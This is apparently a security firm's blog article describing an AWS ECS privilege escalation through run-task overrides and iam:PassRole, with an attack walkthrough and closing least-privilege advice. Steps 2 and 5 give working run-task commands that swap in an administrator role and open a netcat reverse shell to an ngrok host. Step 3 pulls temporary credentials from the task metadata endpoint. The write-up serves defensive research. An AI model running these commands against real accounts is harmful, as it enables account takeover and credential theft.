Privilege Escalation in AWS ECS via Task Overrides

Privilege Escalation in AWS ECS via Task Overrides

While experimenting with AWS, we identified a privilege escalation method in AWS Elastic Container Service (ECS) — a technique that is already known, but not immediately obvious when working with ECS day to day. During the research, we found that the –overrides flag in the ecs run-task AWS CLI command can be abused to change the execution role, task role, and even the container command defined in an existing ECS task definition. As a result, an attacker can start a task with a different IAM role and obtain its credentials from inside the container using the Task IAM credentials endpoint.

What makes this especially impactful is that the compromise does not stop with a single IAM role. By acquiring temporary credentials for the ECS task role that we intentionally passed through –overrides, an attacker gains access to new privileges. In certain setups, this can allow rotating between multiple IAM roles (“role juggling”), as long as the trust policies for those roles allow assumptions by ecs-tasks.amazonaws.com. Depending on the permissions attached to each role, this may enable both lateral movement across services and vertical privilege escalation.

The minimum set of permissions required is very small:

  • ecs:RunTask over a target ECS task definition
  • iam:PassRole over any IAM role allows them to be assumed by the ecs-tasks.amazonaws.com principal/service

In this article, we focus on demonstrating the attack in an AWS Fargate environment. The second part will examine the same method against ECS running on EC2. Before describing the attack scenario, we briefly recall what AWS ECS is and outline the key concepts required to understand why this misconfiguration becomes exploitable.

Understanding AWS ECS and Its Core Components

Before walking through the exploitation scenario, it is important to briefly recall what AWS Elastic Container Service (ECS) is and how its core components interact. This context is essential, because the privilege escalation described later relies directly on how ECS handles IAM roles, task definitions, and container execution.

Amazon Elastic Container Service (ECS) is a fully managed container orchestration platform that enables customers to deploy, manage, and scale containerized applications. Containers in ECS operate within a cluster, which can either be hosted on EC2 instances (self-managed) or run using AWS Fargate, the serverless option.

The key entities in AWS ECS include:

Cluster

A logical grouping of containers and services. ECS uses clusters to organise compute capacity and resources for running tasks.

Task Definition

A JSON template describing what the container should do when launched.
It typically includes:

  • container image,
  • CPU and memory requirements,
  • environment variables,
  • IAM roles,
  • port mappings,
  • additional resource settings.

A single task definition can support one or multiple containers, depending on the application design.

Task

A running instance of the workload defined in the task definition. A task may include a single container or several, depending on how the definition is configured.

Service

A higher-level abstraction representing a group of tasks that ECS maintains. The service ensures that the desired task count is always running, replaces failed tasks, and handles scaling.

The Importance of TaskRoleArn and ExecutionRoleArn

Two settings in the ECS task definition are critical for both normal operation and security posture:

ExecutionRoleArn

This IAM role is used by ECS to start and manage the task.
For example:

  • pulling container images from ECR,
  • writing logs to CloudWatch,
  • performing ECS-internal operations.

The execution role provides ECS with the permissions needed to prepare the container before it starts.

TaskRoleArn

This IAM role is used by the running container itself. In other words, the application inside the container inherits the privileges granted by this IAM role.
Typical examples include:

  • reading/writing files in S3,
  • interacting with DynamoDB or RDS,
  • invoking Lambda functions.

The attack demonstrated in this article focuses on misconfigurations related to these roles, combined with the behaviour of the aws ecs run-task command.

Demo Setup – Initial IAM Configuration

To demonstrate the impact, we created several IAM roles. The setup is intentionally simple but mirrors real AWS environments where permissions are distributed across multiple IAM roles based on task-specific responsibilities.

The roles include:

ECS_ExecutionRole

Defined in the ECS task definition, this role allows ECS to authenticate to ECR and pull images.


Privilege Escalation in AWS ECS via Task Overrides AWS ECS Privilege Escalation

Its trust policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "",
            "Effect": "Allow",
            "Principal": {
                "Service": "ecs-tasks.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

A custom ECS_ExecutionPolicy is attached:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "ecr:BatchCheckLayerAvailability",
                "ecr:GetDownloadUrlForLayer",
                "ecr:BatchGetImage"
            ],
            "Resource": "arn:aws:ecr:eu-north-1:<redacted>:repository/personal/ubuntu"
        },
        {
            "Effect": "Allow",
            "Action": [
                "ecr:GetAuthorizationToken"
            ],
            "Resource": "*"
        }
    ]
}

This allows ECS to pull the required image from ECR and start the container.

LowPrivilegedECSTaskRole

This IAM role is assigned to the ECS task via taskRoleArn in the task definition. It has no IAM policies attached, making it effectively a “dummy” role for demonstration.

a privilege escalation path in AWS Elastic Container Service (ECS)

Its trust policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "",
            "Effect": "Allow",
            "Principal": {
                "Service": "ecs-tasks.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

This role is used only to demonstrate a successful privilege escalation, where we replace it with a more privileged role.

HighPrivilegedECSTaskRole

This IAM role is the attacker’s primary target because of the administrative privileges it provides over the AWS environment. Similar to the other IAM roles in the setup, it can be assumed only by the ecs-tasks.amazonaws.com service, which prevents regular IAM users from assuming it directly.

the administrative privileges of the AWS environment

The following is the TrustPolicy of the HighPrivilegedECSTaskRole IAM role:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "",
            "Effect": "Allow",
            "Principal": {
                "Service": "ecs-tasks.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

This trust relationship allows ECS tasks to assume the role, even though it is not referenced in any ECS task definitions.

Additionally, the HighPrivilegedECSTaskRole has the AdministratorAccess IAM policy attached, which grants nearly complete control of the AWS account. The following is the original contents of the AdministratorAccess IAM policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }
    ]
}

In real-world environments, highly privileged ECS task roles appear in CI/CD pipelines, ML workflow orchestrators, distributed compute tasks, and other architectures where running tasks are allowed to spawn new tasks. If an attacker obtains credentials for such a role through the ecs run-task override technique, the impact can range from compromising a specific service to a full AWS account takeover.

StartIAMRole (Attacker’s Entry Point)

This role is the starting point for the attack. It grants:

  • ecs:RunTask over the chosen task definition
  • iam:PassRole over:
    • HighPrivilegedECSTaskRole
    • ECS_ExecutionRole

Unlike the previous roles, this role can be assumed by an IAM user.

privilege escalation in AWS

Its trust policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::<redacted>:user/AWSAdministrator1"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

The attached custom policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "ecs:RunTask"
            ],
            "Resource": "arn:aws:ecs:eu-north-1:<redacted>:task-definition/Ubuntu-Task-Definition:1"
        },
        {
            "Action": [
                "iam:PassRole"
            ],
            "Resource": [
                "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
                "arn:aws:iam::<redacted>:role/ECS_ExecutionRole"
            ],
            "Effect": "Allow"
        }
    ]
}

Based on the experience, many real-world IAM setups accidentally grant similar combinations of ecs:RunTask + overly broad iam:PassRole.

Task Definition Used for the Demo

The following is the exact task definition used in the demonstration, Ubuntu-Task-Definition:1. It is included in full to preserve technical accuracy:

{
  "taskDefinitionArn": "arn:aws:ecs:eu-north-1:<redacted>:task-definition/Ubuntu-Task-Definition:1",
  "containerDefinitions": [
    {
      "name": "Ubuntu-Container",
      "image": "<redacted>.dkr.ecr.eu-north-1.amazonaws.com/personal/ubuntu:latest",
      "cpu": 0,
      "portMappings": [
        {
          "name": "ubuntu-container-80-tcp",
          "containerPort": 80,
          "hostPort": 80,
          "protocol": "tcp",
          "appProtocol": "http"
        }
      ],
      "essential": true,
      "environment": [],
      "environmentFiles": [],
      "mountPoints": [],
      "volumesFrom": [],
      "ulimits": [],
      "systemControls": []
    }
  ],
  "family": "Ubuntu-Task-Definition",
  "taskRoleArn": "arn:aws:iam::<redacted>:role/LowPrivilegedECSTaskRole",
  "executionRoleArn": "arn:aws:iam::<redacted>:role/ECS_ExecutionRole",
  "networkMode": "awsvpc",
  "revision": 1,
  "volumes": [],
  "status": "ACTIVE",
  "requiresAttributes": [
    {
      "name": "com.amazonaws.ecs.capability.ecr-auth"
    },
    {
      "name": "com.amazonaws.ecs.capability.task-iam-role"
    },
    {
      "name": "ecs.capability.execution-role-ecr-pull"
    },
    {
      "name": "com.amazonaws.ecs.capability.docker-remote-api.1.18"
    },
    {
      "name": "ecs.capability.task-eni"
    }
  ],
  "placementConstraints": [],
  "compatibilities": [
    "EC2",
    "FARGATE"
  ],
  "requiresCompatibilities": [
    "FARGATE"
  ],
  "cpu": "1024",
  "memory": "3072",
  "runtimePlatform": {
    "cpuArchitecture": "X86_64",
    "operatingSystemFamily": "LINUX"
  },
  "registeredAt": "2025-08-16T18:54:34.528Z",
  "registeredBy": "arn:aws:iam::<redacted>:user/AWSAdministrator1",
  "enableFaultInjection": false,
  "tags": []
}

Attack Execution

Before demonstrating the attack, it is important to note that the described scenario worked on AWS Fargate platform versions 1.4.0 and 1.3.0. Earlier Fargate versions are deprecated, and AWS returns an error message during ECS task launch attempts.

As specified in the Ubuntu-Task-Definition:1 task definition, the roles assigned by default are:

...
"taskRoleArn": "arn:aws:iam::<redacted>:role/LowPrivilegedECSTaskRole",
"executionRoleArn": "arn:aws:iam::<redacted>:role/ECS_ExecutionRole",
...

Under normal circumstances, running ecs run-task would launch the ECS task using:

  • ECS_ExecutionRole: for pulling the image from ECR
  • LowPrivilegedECSTaskRole: for the container itself, giving the task no meaningful permissions

However, the attacker can abuse the –overrides flag in the ecs run-task AWS CLI command to alter key parameters in the launched task — including replacing the task role with the high-privilege role prepared earlier.

The AWS documentation for ecs run-task is available here:
https://docs.aws.amazon.com/cli/latest/reference/ecs/run-task.html

An important detail: many known ECS privilege-escalation techniques require creating a new ECS task definition, but in this scenario, we do not need to create a new task definition at all. We only modify the parameters at runtime.

Step 1 — Assume the StartIAMRole

An attacker first assumes the StartIAMRole:

aws sts assume-role --role-arn arn:aws:iam::<redacted>:role/StartIAMRole --role-session-name test

The attacker then saves the temporary credentials into the .aws/credentials file.

Next, they prepare a reverse shell listener using ngrok and netcat:

ngrok tcp 5000
nc -lvn 5000

Step 2 — Launch the ECS Task With Modified Roles

Using the credentials obtained from StartIAMRole, the attacker runs:

aws --profile start-role ecs run-task \
--cluster upbeat-gorilla-9t023y \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[subnet-04d757fa4368498c1],securityGroups=[],assignPublicIp=ENABLED}" \
--task-definition Ubuntu-Task-Definition:1 \
--overrides '
{
  "taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
  "containerOverrides": [
    {
      "name": "Ubuntu-Container",
      "command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
        }
  ]
}'

To execute this, the attacker must know:

  • ECS cluster name (upbeat-gorilla-9t023y)
  • VPC subnet (subnet-04d757fa4368498c1)
  • Task definition and revision (Ubuntu-Task-Definition:1)
  • Container name (Ubuntu-Container)

A key part here is the ability to override the container command.
This is effectively equivalent to changing the CMD directive in a Dockerfile.
It allows the attacker to replace the default container command with a reverse shell payload.

Once the command is executed successfully, the reverse shell connection arrives:

reverse shell connection

Step 3 — Extract the Task Role Credentials (Exact to Original)

Once we have a shell inside the ECS task, we can retrieve the task role credentials by querying the ECS Task Metadata endpoint. The container exposes the relative path to the credentials endpoint through environment variables, so we begin by inspecting them:

env
curl http://169.254.170.2/${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}

The ECS Task Metadata endpoint responds with temporary credentials for the task role:

The ECS Task Metadata endpoint

To use these credentials locally, we add them to the .aws/credentials file:

[role-1]
region=eu-north-1
output=json
aws_access_key_id=ASIAXCFQ<redacted>
aws_secret_access_key=dl/VXQ53<redacted>
aws_session_token=IQoJb3JpZ2luX2VjE<redacted>

We verify the obtained identity by running aws –profile role-1 sts get-caller-identity. The command returns the following:

High privileged ECS task role

We also check the attached IAM policies for this role with aws –profile role-1 iam list-attached-role-policies –role-name HighPrivilegedECSTaskRole and the output confirms the attached policies:

Privilege Escalation in AWS ECS via Task Overrides Attached AWS policies

Step 4 — When Attacker Cannot Pass the Execution Role

If the attacker does not have iam:PassRole permission over the ECS_ExecutionRole, the previous attack fails.

In this scenario, the ECS_ECR_IAM_VulnCombination policy looks like:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "ecs:RunTask"
            ],
            "Resource": "arn:aws:ecs:eu-north-1:<redacted>:task-definition/Ubuntu-Task-Definition:1"
        },
        {
            "Action": [
                "iam:PassRole"
            ],
            "Resource": [
                "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole"
            ],
            "Effect": "Allow"
        }
    ]
}

Running the earlier command now triggers an error:

aws --profile start-role ecs run-task \
--cluster upbeat-gorilla-9t023y \
--launch-type FARGATE \ 
--network-configuration "awsvpcConfiguration={subnets=[subnet-04d757fa4368498c1],securityGroups=[],assignPublicIp=ENABLED}"\
--task-definition Ubuntu-Task-Definition:1 \
--overrides '
{
  "taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
  "containerOverrides": [
    {
      "name": "Ubuntu-Container",
      "command": ["nc", "6.tcp.eu.ngrok.io", "13943", "-e", "/bin/bash"]
        }
  ]
}'

Since the attacker cannot pass ECS_ExecutionRole, AWS denies the request: 

ECS Execution Role

Step 5 — Passing the Same Role as Task and Execution Role

In cases where the attacker does not have the iam:PassRole permission for the ECS_ExecutionRole, the previous attempt to override only the task role fails. However, if the HighPrivilegedECSTaskRole has permissions over ECR—which is often the case in CI/CD-oriented roles or workloads capable of spawning additional tasks—the attacker can still proceed by using the same IAM role for both the task role and the execution role in the –overrides flag. This effectively bypasses the need to pass the original execution role at all.

To continue the attack, we once again start a listener:

nc -lvn 5000
ngrok tcp 5000

With the listener running, the ECS task is launched, this time specifying the high-privileged role for both taskRoleArn and executionRoleArn:

aws --profile start-role ecs run-task \
 --cluster upbeat-gorilla-9t023y \
 --launch-type FARGATE \
 --network-configuration "awsvpcConfiguration={subnets=[subnet-04d757fa4368498c1],securityGroups=[sg-05a1580aaa6bf24be],assignPublicIp=ENABLED}"\
 --task-definition Ubuntu-Task-Definition:1 --overrides '
{
  "taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
  "executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
  "containerOverrides": [
    {
      "name": "Ubuntu-Container",
      "command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
        }
  ]
}'

This time, the command executes successfully, as the attacker is only passing a role they do have permission over:

AWS roles

After a short moment, a new reverse shell arrives on the listener, confirming that the ECS task was launched under the high-privileged role:

high-privileged role

From inside the container, we again retrieve the ECS task role credentials using the ECS Task Metadata endpoint:

the ECS task role credentials

We then store these credentials in the .aws/credentials file under a new profile:

[role-1]
region=eu-north-1
output=json
aws_access_key_id=ASIA<redacted>
aws_secret_access_key=xWclrqne<redacted>
aws_session_token=IQoJb3JpZ2<redacted>

To validate the privileges associated with this role, we check the caller identity with aws –profile role-1 sts get-caller-identity and it receive:

aws profile role

Finally, we list the IAM policies attached to this role with aws –profile role-1 iam list-attached-role-policies –role-name HighPrivilegedECSTaskRole. The output is as follows:

IAM policies attached

At this point, the attacker once again obtains full administrative privileges, demonstrating that even when iam:PassRoleover the execution role is restricted, misconfigured IAM roles with broad permissions can still be abused through ECS task overrides.

Conclusion

The –overrides flag in the ecs run-task command is a fully documented and intended feature of AWS ECS. The real issue demonstrated in this scenario lies not within ECS itself, but in the misconfiguration of IAM roles and permissions surrounding it. Granting an IAM user or role the ability to run tasks (ecs:RunTask) and to pass certain IAM roles (iam:PassRole) can unintentionally create a path to privilege escalation if the trust policies and permissions on those roles are not tightly controlled.

This example shows how a seemingly limited IAM role — one that can only run tasks and pass specific roles — may still be able to launch highly privileged ECS tasks and extract their temporary credentials. Depending on the privileges attached to the abused IAM role, the impact can range from compromising a single service to gaining administrative control over the entire AWS account.

At Iterasec, we consistently highlight the need for regular IAM audits, careful management of IAM role trust relationships, and strict adherence to the principle of least privilege. If there is any doubt about how IAM roles and ECS task permissions are configured in your AWS environment, this is the kind of issue that is worth validating early. The Iterasec team can help assess whether similar privilege escalation paths exist in your setup.

AWS provides guidance on reducing permissions and improving IAM hygiene, and these recommendations should be applied rigorously in any environment relying on ECS or other container orchestration services:
https://docs.aws.amazon.com/IAM/latest/UserGuide/getting-started-reduce-permissions.html

This concludes the analysis of the privilege escalation path in AWS Fargate. Part two will explore how the same technique applies to ECS deployments running on EC2, along with additional nuances specific to the EC2 execution model. 




Latest posts

Main Cloud Security Challenges and How to Solve Them

In today’s digital landscape, cloud security has become essential. Ensuring strong security measures is critical as businesses are increasingly relying

Read more

Understanding ConfuserEx2: .NET Obfuscation and Deobfuscation Techniques

ConfuserEx2 is a powerful open-source .NET binary obfuscator that offers a range of features from string encryption to anti-tampering and

Read more

Understanding How Attackers Exploit HTTP Redirects in Web Applications [Part 1]

Redirects are a common feature in web applications, but they can also introduce vulnerabilities if not properly managed. This article

Read more

Contacts

Please tell us what are you looking for and we will happily support you in that. Feel free to use our contact form or contact us directly.

    Thank you for submission!

    We’ve received your request and will get back to you shortly. If you have any urgent questions, feel free to contact us at [email protected]